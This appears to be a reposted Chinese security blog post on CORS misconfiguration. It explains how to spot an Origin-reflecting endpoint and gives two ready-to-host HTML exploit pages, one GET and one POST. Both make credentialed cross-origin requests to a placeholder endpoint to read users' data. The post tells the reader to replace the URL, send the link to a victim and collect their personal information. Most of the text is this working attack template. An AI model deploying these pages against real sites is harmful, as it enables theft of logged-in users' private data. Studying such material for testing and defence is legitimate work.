在个人信息处、订单管理等存在敏感信息处抓包看响应包中抓到敏感数据，且为json响应。使用origin进行验证，Access-Control-Allow-Origin随着Origin源改变而改变，请求数据包中没有签名等验证，存在cors。
搭建网站放入以下脚本：GET型CORS
<!DOCTYPE html>
<html>
<head>
<title>cors liyon</title>
</head>
<body>
<script type="text/javascript">
var http = new XMLHttpRequest();
var url = 'https://www.xxx.com/address/front/detail';#就替换下URL地址为漏洞地址即可
var params = '';
http.open('get', url, true);
http.withCredentials = true;
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send();
</script>
</body>
</html>
POST型CORS
<!DOCTYPE html>
<html>
<head>
<title>cors liyon</title>
</head>
<body>
<script type="text/javascript">
var http = new XMLHttpRequest();
var url = 'https://www.xxx.com/api/address';#就替换下URL地址为漏洞地址即可
var params = 'timeio=true';#替换下post中的参数
http.open('POST', url, true);
http.withCredentials = true;
http.setRequestHeader("Content-type","application/json;charset=UTF-8");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(params);
</script>
</body>
</html>
将链接发送给对方
获取到个人信息
原文始发于微信公众号（红云谈安全）：视觉盛宴-CORS漫画版
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论